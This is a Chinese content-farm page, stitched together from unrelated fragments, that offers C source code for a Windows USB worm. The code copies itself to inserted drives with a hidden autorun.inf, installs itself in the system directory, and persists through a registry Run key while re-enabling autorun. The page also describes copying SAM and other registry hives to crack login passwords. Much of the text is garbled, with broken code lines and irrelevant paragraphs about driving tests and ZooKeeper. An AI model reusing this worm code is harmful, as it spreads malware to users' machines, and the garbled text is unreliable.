b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

谁有C语言编写的病毒源代码?

电脑杂谈  发布时间:2019-06-13 22:04:03  来源:网络整理

c语言电脑病毒制作_c语言写的病毒_c语言简单病毒

使用一般的启动u盘启动忘记登陆密码的电脑,启动成功后复制系统盘里windows\system32\config\目录中的sam、system、security三个文件拷到u盘,再复制到一台能正常运行xp的电脑上,接下来运行pspr,将路径指向刚复制到的文件夹再单击“手动解密”按钮即可。应对u盘病毒的简单方法: 在取消了u盘自动运行的情况下(在组策略中一定要关闭自动运行功能,否则只要一插上u盘,就会自动打开u盘使病毒传播). 插入u盘后, 在windows操作系统中点击左下角“开始”-->“运行(winkey+r)”-->输入“cmd”命令(进入dos命令模式)-->键入“f:”(举例f盘为u盘的盘符,此命令为进入u盘所在盘符)--键入“start .”(注意start后面是一个点“.”此命令为打开u盘) ps:现在的u盘病毒比较猖獗,在设。异地找回密码使用一般的启动u盘启动忘记登陆密码的电脑c语言电脑病毒制作,启动成功后复制系统盘里windows\system32\config\目录中的sam、system、security三个文件拷到u盘,再复制到一台能正常运行xp的电脑上,接下来运行pspr,将路径指向刚复制到的文件夹再单击“手动解密”按钮即可。

c语言简单病毒_c语言写的病毒_c语言电脑病毒制作

inf文件BOOL FindSelf();//测试自己是否在已经执行了//global variableTCHAR szExePath[MAX_PATH];//the virus's pathTCHAR U[2];//保存U盘的盘符TCHAR szSysPath[MAX_PATH];//system path//constantconst TCHAR *szExeName='bbbbb。exe';const TCHAR *szSysName='aaaaa。exe';const TCHAR *szAutoRunFile='AutoRun。inf';int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow){static TCHAR szAppName[]=TEXT ('UUUUUU');HWND hwnd;MSG msg;WNDCLASS wndclass;wndclass。style =0;wndclass。lpfnWndProc =WndProc;wndclass。

c语言电脑病毒制作_c语言写的病毒_c语言简单病毒

wndclass.hinstance =hinstance。wndclass.hinstance= hinstance 。wndclass.hinstance=hinstance。

c语言写的病毒_c语言电脑病毒制作_c语言简单病毒

wParam;}LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam){PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch(wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符//MessageBox(0,U,'Notice!',MB_OK);CopyToUAndSet();//拷到u盘}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除break;}return LRESULT();}LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam){switch(message){case WM_Create: //处理一些要下面要用到的全局变量U[1]=':';GetSysPath(szSysPath);//得到系统路径SetTimer(hwnd,TIMER,5000,0);//启动计时器GetSelfPath(szExePath);//得到自身的路径return 0;case WM_TIMER: //timer messageif(szExePath[0]==szSysPath[0]) //如果是系统盘启动的SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息else{CopyToSysAndSet(hwnd);//拷到系统盘并自启动}return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd,wParam,lParam);return 0;case WM_DESTROY:KillTimer(hwnd,TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);}TCHAR FirstDriveFromMask(ULONG unitmask){char i;for (i = 0; i < 26; i){if (unitmask & 0x1)//看该驱动器的状态是否发生了变化break;unitmask = unitmask >> 1;}return (i 'A');}BOOL GetSelfPath(TCHAR *path){if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录{return TRUE;}elsereturn FALSE;}BOOL GetSysPath(TCHAR *path){return GetSystemDirectory(path,MAX_PATH);//得到系统路径}BOOL CopyToSysAndSet(HWND hwnd){TCHAR szPath[MAX_PATH];lstrcpy(szPath,szSysPath);lstrcat(szPath,'\\');lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件{CopyFile(szExePath,szPath,FALSE);RegAutoRun(szPath);return SetFileAttrib(szPath);}else{if(!FindSelf())//检测自己有没有运行{//MessageBox(0,szExePath,szPath,MB_OK);WinExec(szPath,SW_HIDE);//没有就执行SendMessage(hwnd,WM_CLOSE,0,0);//结束自己}}return FALSE;}BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在{int result;result=PathFileExists(path);if(result==1)return TRUE;elsereturn FALSE;}BOOL SetFileAttrib(TCHAR *path){return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);}BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动{HKEY hkey;DWORD v=0;RegOpenKey(HKEY_CURRENT_USER,'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer',&hkey);RegSetValueEx(hkey,'NoDriveTypeAutoRun',0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));if(RegOpenKey(HKEY_LOCAL_MACHINE,'SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run',&hkey)==ERROR_SUCCESS){RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));RegCloseKey(hkey);return TRUE;}elsereturn FALSE;}BOOL CopyToUAndSet(){TCHAR szPath[MAX_PATH];lstrcpy(szPath,U);lstrcat(szPath,'\\');lstrcat(szPath,szExeName);//得到指向U盘的完整目录TCHAR szAutoFile[MAX_PATH];lstrcpy(szAutoFile,U);lstrcat(szAutoFile,'\\');lstrcat(szAutoFile,szAutoRunFile);if(!FileExist(szAutoFile)){CreateAutoRunFile(szAutoFile);SetFileAttrib(szAutoFile);}if(!FileExist(szPath)){CopyFile(szExePath,szPath,FALSE);return SetFileAttrib(szPath);}return FALSE;}BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun。

c语言写的病毒_c语言电脑病毒制作_c语言简单病毒

shellexecute的功能是运行一个外部程序(或者是打开一个已注册的文件、打开一个目录、打印一个文件等等),并对外部程序有一定的控制。因此,要想完全关闭一个文件映射对象,应用程序必须通过调用 unmapviewoffile 来解除文件映射对象的所有映射视图,并且通过调用 closehandle 来关闭文件映射对象的句柄。在完成若干次事务日志之后(在zk中,凡是对数据有更新的操作,比如创建节点c语言电脑病毒制作,删除节点或是对节点数据内容进行更新等,都会记录事务日志),zk会触发一次快照(snapshot),将当前server上所有节点的状态以快照文件的形式dump到磁盘上去,即snapshot文件。


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-105791-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...